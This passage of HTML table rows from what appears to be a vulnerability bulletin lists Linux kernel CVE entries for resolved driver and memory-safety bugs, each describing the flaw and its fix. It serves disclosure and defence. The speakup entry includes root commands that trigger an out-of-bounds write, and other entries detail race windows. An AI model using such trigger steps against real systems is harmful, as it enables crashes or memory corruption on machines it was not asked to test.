&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ipack: ipoctal: fix UAF, null-ptr-deref, and use-after-free in cleanup on remove Three issues arise when the device is removed while a tty session is still active: 1. UAF of struct ipoctal: the remove callback frees ipoctal via kfree() while tty ops may still access it. Fix by introducing kref-based lifetime management - kref is taken in install() when a tty is opened and released in cleanup() when the tty is finally destroyed; remove() uses kref_put() instead of kfree(). 2. NULL dereference in ipoctal_write_tty(): __ipoctal_remove() frees xmit_buf via tty_port_free_xmit_buf() while a userspace process may still hold the tty fd and call write(). Fix by checking for NULL xmit_buf in ipoctal_write_tty(). 3. UAF in ipoctal_cleanup(): ipack_put_carrier(ipoctal-&amp;gt;dev) dereferences ipoctal-&amp;gt;dev after the ipack_device has been freed by ipack_device_del(). Fix by caching ipoctal-&amp;gt;carrier_owner during probe() and calling module_put() on the cached pointer directly in cleanup(), avoiding any access to ipoctal-&amp;gt;dev. Also introduce a &quot;removed&quot; flag in struct ipoctal, set at the start of __ipoctal_remove(), and checked in every tty op that accesses hardware resources (port_activate, write_tty, set_termios, hangup, shutdown). This prevents page faults when devm_ioremap() regions are unmapped after remove() returns.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93050&quot; target=&quot;_blank&quot;&gt;CVE-2026-93050&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: misc: ad525x_dpot: use driver core groups for sysfs files ad_dpot_probe() creates per-RDAC sysfs files manually and then optionally creates the command sysfs group. This leaves probe responsible for rolling back partial sysfs state and makes remove responsible for matching every file that probe created. Move the device attributes into driver core dev_groups for the I2C and SPI drivers and use an is_visible() callback to expose only the attributes supported by the probed device. With this shape, the driver core creates the sysfs files only after probe succeeds and removes them before the remove callback frees the driver data.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93051&quot; target=&quot;_blank&quot;&gt;CVE-2026-93051&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: misc: bcm-vk: Use acquire/release for msgq_inited bcm_vk_sync_msgq() fills the message queue information and then sets msgq_inited. Readers call bcm_vk_drv_access_ok() before accessing the message queues and their cached queue information. atomic_set()/atomic_read() do not order those accesses. A reader can see msgq_inited set while still seeing stale queue information. Use release when publishing the initialized queues and acquire when checking the gate. Keep the clear in bcm_vk_blk_drv_access() as atomic_set(). It closes the gate and does not publish queue state to readers.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93052&quot; target=&quot;_blank&quot;&gt;CVE-2026-93052&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: speakup: keyhelp: guard letter_offsets possible out-of-range indexing help_init() builds letter_offsets[] by using the first byte of each function name as an index via `(start &amp;amp; 31) - 1`. If function_names are overridden from sysfs (root) with a name starting outside [a-z], the index underflows or exceeds the array, leading to OOB write. Function names can be overridden with the following commands as root: modprobe speakup_soft echo &quot;0 _bad&quot; &amp;gt; /sys/accessibility/speakup/i18n/function_names # then press Insert+2 on /dev/tty This fix checks the first letter in help_init(), and if it is not in the [a-z] range the function returns an error to the caller. Eventually this error is propagated to drivers/accessibility/speakup/main.c:2217, which causes a bleep sound.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93053&quot; target=&quot;_blank&quot;&gt;CVE-2026-93053&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: UDF symlink pathComponent header OOB read udf_symlink_filler() can enter udf_pc_to_char() with a partial pathComponent header. Validate that enough input remains for a complete pathComponent header before accessing it. Reject malformed symlink data that would otherwise make udf_pc_to_char() perform an out-of-bounds read.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93055&quot; target=&quot;_blank&quot;&gt;CVE-2026-93055&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: usb: gadget: f_uac1_legacy: remove broken string configfs attributes The UAC1_STR_ATTRIBUTE macro defines configfs show/store handlers for the fn_play, fn_cap, and fn_cntl string options. The store function contains an inverted null check on the kstrndup() return value. This means every write attempt returns -ENOMEM on success and dereferences a NULL pointer on allocation failure. The attributes have been broken and unused for many years. Remove the UAC1_STR_ATTRIBUTE macro and the three attributes it generated. The internal defaults (FILE_PCM_PLAYBACK, FILE_PCM_CAPTURE, FILE_CONTROL) set in f_audio_alloc_inst() are unaffected.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93056&quot; target=&quot;_blank&quot;&gt;CVE-2026-93056&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: scsi: ufs: core: Avoid possible memory reclaim deadlock in TX EQTR context TX EQTR may run while devfreq gear scaling has quiesced the UFS tagset. In that context, functions ufshcd_tx_eqtr(), __ufshcd_tx_eqtr() and ufs_qcom_get_rx_fom() allocate memory with GFP_KERNEL. If direct reclaim is triggered, reclaim/writeback can depend on I/O to UFS device. Because the queue is quiesced, this can cause deadlock. Use memalloc_noio_save/restore() in ufshcd_tx_eqtr() to cover all allocations in the TX EQTR call tree, including: - params-&amp;gt;eqtr_record in ufshcd_tx_eqtr() - eqtr_data in __ufshcd_tx_eqtr() - params in ufs_qcom_get_rx_fom() This is preferred over tagging individual call sites with GFP_NOIO, as it automatically covers any future allocations added anywhere in the call tree without requiring each caller to be aware of this constraint. [mkp: fix label as suggested by Bart]&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93057&quot; target=&quot;_blank&quot;&gt;CVE-2026-93057&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: drm/msm: Only fini scheduler after successful init msm_ringbuffer_new() destroys a partially initialized ring through msm_ringbuffer_destroy() when an allocation or scheduler setup step fails. If drm_sched_init() fails before it finishes initializing the scheduler, the failure path still calls drm_sched_fini(). That teardown path assumes the scheduler work items, lists, and workqueue state were initialized. Track successful scheduler initialization and call drm_sched_fini() only after drm_sched_init() returned 0. This issue was found by a static analysis checker and confirmed by manual source review. Patchwork: https://patchwork.freedesktop.org/patch/738905/&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93058&quot; target=&quot;_blank&quot;&gt;CVE-2026-93058&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: drm/msm: Fix task_struct reference leak in recover_worker get_pid_task() increments the task reference count, but the corresponding put_task_struct() was missing in the else branch, leaking a reference on every GPU hang recovery. Patchwork: https://patchwork.freedesktop.org/patch/730662/&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93059&quot; target=&quot;_blank&quot;&gt;CVE-2026-93059&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: drm/msm/adreno: fix use after free on error path in a6xx_gpu_init() The a6xx_destroy() function frees &quot;a6xx_gpu&quot; and so &quot;adreno_gpu&quot; points to freed memory. Preserve the error code before freeing the memory to avoid a use after free. Patchwork: https://patchwork.freedesktop.org/patch/732275/&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93060&quot; target=&quot;_blank&quot;&gt;CVE-2026-93060&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: gpu: host1x: Avoid stack over-read in debug output helpers host1x_debug_output() and host1x_debug_cont() used vsnprintf(), which returns the length the formatted string would have reached with an unbounded buffer. That return value was passed straight to o-&amp;gt;fn as the number of bytes to emit. This could cause a read past end of the output buffer if a call to host1x_debug_* produced a string longer than 256 bytes. This only affected the debugfs files as the printk debug sink ignores the number of bytes. In practice, this is very unlikely to occur. Fix by switching to vscnprintf(), which returns the number of bytes actually written.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93061&quot; target=&quot;_blank&quot;&gt;CVE-2026-93061&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: wifi: iwlwifi: guard against division by zero in iwl_dbg_tlv_alloc_fragments Make sure we don&#039;t end-up with a num_frags = 0 situation. For that, check that the required size is not 0 and put a checker on num_frags as well.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93062&quot; target=&quot;_blank&quot;&gt;CVE-2026-93062&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: wifi: iwlwifi: mvm: fix off-by-one in TXF key sanitiser iwl_mvm_frob_txf_key_iter() tracks the last matched byte position in loop variable &#039;i&#039;. When a full key match is found (match == keylen), &#039;i&#039; points at the last byte of the matched key. The memset start offset should therefore be i + 1 - keylen, not i - keylen; the current code zeroes one byte before the match and leaves the final key byte un-sanitised.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93064&quot; target=&quot;_blank&quot;&gt;CVE-2026-93064&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: wifi: iwlwifi: fix counter type in iwl_fwrt_dump_error_logs The loop counter &#039;count&#039; was declared as u8 while num_pc is u32. If firmware advertises more than 255 PC entries the counter wraps back to zero and the loop never terminates potentially causing an infinite loop or reading past the allocated pc_data array. Change the declaration to u32 to match num_pc.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93065&quot; target=&quot;_blank&quot;&gt;CVE-2026-93065&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: x86/mm/pat: Take cpa_lock around large-page collapse Loading and unloading modules concurrently on several CPUs on a KASAN build, with a short delay injected at the CPA page-table lookup to widen the window, faults within minutes: BUG: KASAN: use-after-free in __change_page_attr+0x7cc/0x7e0 Write of size 8 at addr ffff888181139718 by task modprobe ... The buggy address belongs to the physical page: pfn:0x181139 ... page_type: f2(table) cpa_collapse_large_pages() rebuilds a leaf PMD from its 4K PTEs and frees the old PTE-table pages, while __change_page_attr() fetches a PTE pointer from a lockless lookup_address_in_pgd_attr() and writes it with set_pte_atomic() only later. When module text is served from a shared large ROX mapping the two run on the same PMD: CPU A (module load) CPU B (module finalize) ------------------- ----------------------- execmem_make_temp_rw set_memory_nx __change_page_attr split 2M -&amp;gt; 4K table P kpte = &amp;amp;P[i] (lockless) execmem_restore_rox set_memory_rox (CPA_COLLAPSE) cpa_collapse_large_pages rebuild leaf PMD flush_tlb_all pagetable_free(P) set_pte_atomic(kpte, ...) -&amp;gt; writes into freed P P is a page-table page (page_type: table), reused at once, so the write corrupts whatever got the page next: a bad-pte or bad-page splat, or a fatal fault once P has been turned into read-only text. The flush_tlb_all() before the free does not close this: its IPI only serializes against page-table walkers that run with interrupts off (e.g. GUP-fast); the walk in __change_page_attr() runs with interrupts on, so nothing stops it from holding a stale pointer into P. Serialize the collapse - the PMD rebuild, TLB flush and PTE-table free - under cpa_lock, the same lock __change_page_attr() now takes unconditionally since commit (&quot;x86/mm/pat: stop gating cpa_lock on debug_pagealloc_enabled()&quot;), so a concurrent walker can no longer hold a pointer into a table the collapse is about to free.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93066&quot; target=&quot;_blank&quot;&gt;CVE-2026-93066&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: drm/bridge: tc358767: clamp the reported AUX read size to the request tc_aux_transfer() clamps an AUX read to the payload limit: size_t size = min_t(size_t, DP_AUX_MAX_PAYLOAD_BYTES - 1, msg-&amp;gt;size); After the transfer it replaces size with the byte count the controller reports in AUX_BYTES: if (size) size = FIELD_GET(AUX_BYTES, auxstatus); AUX_BYTES is GENMASK(15, 8), so it can be up to 255. Nothing clamps it back to the request. tc_aux_read_data() reads that many bytes into the 16-byte auxrdata stack buffer, then copies them into the caller buffer. A reported count of 255 makes the read run to 256 bytes and overruns both. The controller should never report more than it was asked to transfer, so this is defense in depth rather than a live hole. The reported count is only lightly trusted, and the check is cheap. Clamp it back to the request, the same way ti-sn65dsi86 does in commit aca58eac52b8 (&quot;drm/bridge: ti-sn65dsi86: Never store more than msg-&amp;gt;size bytes in AUX xfer&quot;).&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93067&quot; target=&quot;_blank&quot;&gt;CVE-2026-93067&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: drm/amd/display: Fix DM I2C teardown race DM I2C adapters can remain visible to userspace while DM teardown is already in progress. A concurrent i2c-dev transfer may then enter amdgpu_dm_i2c_xfer() after the backing DM state has been torn down, leading to a NULL pointer dereference. Create a devres group around the DM I2C adapter lifetime and release it at the start of dm_hw_fini(), before HPD, IRQ, and DM state are torn down. This removes the I2C adapters first and waits for in-flight users to drain before the structures used by amdgpu_dm_i2c_xfer() disappear. This fixes a teardown ordering race seen during device removal: BUG: kernel NULL pointer dereference RIP: amdgpu_dm_i2c_xfer+0x122/0x1c0 [amdgpu] Call Trace: __i2c_transfer i2c_transfer i2cdev_ioctl_rdwr&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93068&quot; target=&quot;_blank&quot;&gt;CVE-2026-93068&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: OPP: Fix cleanup ordering Commit 173e02d67494 (&quot;OPP: Initialize scope-based pointers inline&quot;) added initialization for all pointers. In some cases, the ordering was changed so that *opp_table was initialized after *opp. This also changes the order of the registered cleanup functions. When the cleanup happens, this can cause use-after-free errors when the last reference is released and the release function _opp_kref_release tries to access the already freed opp-&amp;gt;opp_table. Initialize *opp_table before *opp again to fix this and ensure the correct cleanup order.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93069&quot; target=&quot;_blank&quot;&gt;CVE-2026-93069&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: media: bcm2835-unicam: Fix asc leaked in error/remove path v4l2_async_nf_add_fwnode_remote() allocates the asc, which is freed when v4l2_async_nf_cleanup() is called. Call v4l2_async_nf_cleanup() properly in the driver paths. Discovered with kmemleak after rmmod: unreferenced object 0xffff000084526b80 (size 64): comm &quot;modprobe&quot;, pid 185, jiffies 4295013512 hex dump (first 32 bytes): 01 00 00 00 00 00 00 00 e8 0d ff bf 00 00 ff ff ................ 40 83 bc 84 00 00 ff ff 60 83 bc 84 00 00 ff ff @.......`....... backtrace (crc ac584083): [&amp;lt;00000000ffb081a7&amp;gt;] kmemleak_alloc+0x38/0x44 [&amp;lt;00000000d2fd9301&amp;gt;] __kmalloc+0x1b0/0x250 [&amp;lt;000000004dd5354d&amp;gt;] __v4l2_async_nf_add_fwnode+0x28/0x9c [&amp;lt;0000000067587657&amp;gt;] __v4l2_async_nf_add_fwnode_remote+0x3c/0x64&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93071&quot; target=&quot;_blank&quot;&gt;CVE-2026-93071&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: irqchip/renesas-irqc: Fix generic interrupt chip leak on remove The driver allocates domain generic chips probe. However, on driver removal, the generic chips are not automatically freed when the interrupt domain is removed because the domain flags do not include IRQ_DOMAIN_FLAG_DESTROY_GC. This causes both the domain generic chips structure and the associated generic chips to be leaked. Additionally, the generic chips remain on the global list and may later be accessed by generic interrupt chip suspend, resume, or shutdown callbacks after the driver has been removed, potentially resulting in a use-after-free and kernel crash. Fix the resource leak by setting IRQ_DOMAIN_FLAG_DESTROY_GC on the interrupt domain; this lets the interrupt domain core automatically release all generic chips when irq_domain_remove() is invoked, removing the need for manual cleanup calls in error paths and remove callback.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93072&quot; target=&quot;_blank&quot;&gt;CVE-2026-93072&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: dax: read holder_ops once in dax_holder_notify_failure() dax_holder_notify_failure() reads dax_dev-&amp;gt;holder_ops twice without READ_ONCE() -- once for the NULL check and once for the indirect notify_failure() call. A concurrent fs_put_dax() can clear holder_ops between the two reads, so the check can observe a non-NULL pointer while the call dereferences NULL. (kill_dax() also clears holder_ops, but only after synchronize_srcu(), so it cannot race a reader that is inside dax_read_lock(); fs_put_dax() does no such synchronization.) Fetch holder_ops once into a local with READ_ONCE() so the NULL check and the indirect call observe the same value.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93073&quot; target=&quot;_blank&quot;&gt;CVE-2026-93073&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: dax/fsdev: clear pgmap ops and owner on unbind fsdev_dax_probe() sets pgmap-&amp;gt;ops = &amp;amp;fsdev_pagemap_ops and pgmap-&amp;gt;owner = dev_dax, but nothing ever clears them. For a dynamic device the pgmap is devm-allocated and freed on unbind, so this is harmless. For a static device the pgmap is the shared, long-lived one owned by the dax bus (kill_dev_dax() only NULLs dev_dax-&amp;gt;pgmap for the non-static case), and device.c&#039;s probe sets only pgmap-&amp;gt;type, never clearing ops/owner. So after fsdev unbinds a static device the stale fsdev_pagemap_ops survives on the shared pgmap. If the device is then rebound to device_dax (MEMORY_DEVICE_GENERIC, which installs no -&amp;gt;memory_failure), or the fsdev_dax module is unloaded, a subsequent memory_failure on that pgmap dispatches through the stale -- and possibly freed -- handler. Register a devm action that clears pgmap-&amp;gt;ops and pgmap-&amp;gt;owner on unbind, symmetric with setting them at probe, so the pgmap carries no fsdev state once fsdev is detached.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93075&quot; target=&quot;_blank&quot;&gt;CVE-2026-93075&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: dax/fsdev: clear vmemmap_shift when binding static pgmap Clear pgmap-&amp;gt;vmemmap_shift for static DAX devices. When rebinding a static device from device_dax (which may set vmemmap_shift based on alignment) to fsdev_dax, the stale vmemmap_shift persists on the shared pgmap. Explicitly zero it before devm_memremap_pages() so the vmemmap is built for order-0 folios as fsdev requires.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93076&quot; target=&quot;_blank&quot;&gt;CVE-2026-93076&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: cxl/features: Clamp Get Feature output size to the remaining buffer cxl_get_feature() reads a feature in a loop but passes a fixed size_out as the output capacity every iteration. On the last partial iteration the buffer has less room left, so a device that returns more than asked can overflow feat_out. Use the per-iter size data_to_rd_size, which already tracks the remaining room, as the output capacity.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93077&quot; target=&quot;_blank&quot;&gt;CVE-2026-93077&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: cxl/features: Reject Set Features output buffer smaller than the header cxlctl_set_feature() sizes its output buffer from the user&#039;s fwctl_rpc.out_len but never checks it is large enough to hold even the fwctl_rpc_cxl_out header. With out_len == 0 , kvzalloc() returns ZERO_SIZE_PTR, which passes the !rpc_out check, the subsequent rpc_out-&amp;gt;size = 0 then writes through the poison pointer. Reject requests whose output buffer can&#039;t hold the response header, before allocating. The Set Feature reply carries no payload, so the header is all that is required.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93078&quot; target=&quot;_blank&quot;&gt;CVE-2026-93078&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: firmware: arm_scmi: Fix transport device teardown lookup SCMI transport devices are deliberately excluded from normal SCMI bus matching so protocol drivers cannot bind to the internal transport children. However, scmi_device_destroy() uses the same protocol/name lookup to find devices that must be unregistered during channel teardown. Split the match helper so driver matching still skips transport devices, while explicit child lookup can find them for teardown. Use a shared transport-device name prefix macro for both matching and name generation. Since transport-device names are derived from direction and protocol ID, reject duplicate protocol channel setup before creating or finding a transport device. This prevents malformed firmware with duplicate protocol child nodes from reusing an existing transport device and then destroying it when the duplicate IDR insertion fails.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93080&quot; target=&quot;_blank&quot;&gt;CVE-2026-93080&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: firmware: arm_scmi: Fix SCMI device destroy lifetimes scmi_child_dev_find() drops the reference returned by device_find_child() before returning the scmi_device pointer. A concurrent unregister can then release the device while the destroy path is still using the returned pointer. Make the lookup helper return the device_find_child() reference and keep it until scmi_device_destroy() has finished unregistering the child. Also split device_unregister() in __scmi_device_destroy() so the SCMI bus ID is not made reusable until after device_del() has removed the old scmi_dev.N name from sysfs. This avoids a new SCMI device reusing the same ID while the old device is still registered. The final device release callback is also a possible cleanup path when SCMI children are deleted by driver core recursion rather than __scmi_device_destroy(). Release the SCMI bus ID from a common helper used by destroy, register-failure and final-release paths, and clear scmi_dev-&amp;gt;id after freeing it so the final release cannot free the same ID again.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93081&quot; target=&quot;_blank&quot;&gt;CVE-2026-93081&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: firmware: arm_scmi: Unwind P2A receiver mailbox setup failure mailbox_chan_setup() can request an additional P2A receiver channel after successfully acquiring the primary P2A channel. If that later request fails, the function returns immediately and leaves the primary channel allocated. Unwind the primary mailbox channel before returning the error so probe deferral or other setup failures do not leave the channel busy for later probe attempts.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93082&quot; target=&quot;_blank&quot;&gt;CVE-2026-93082&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
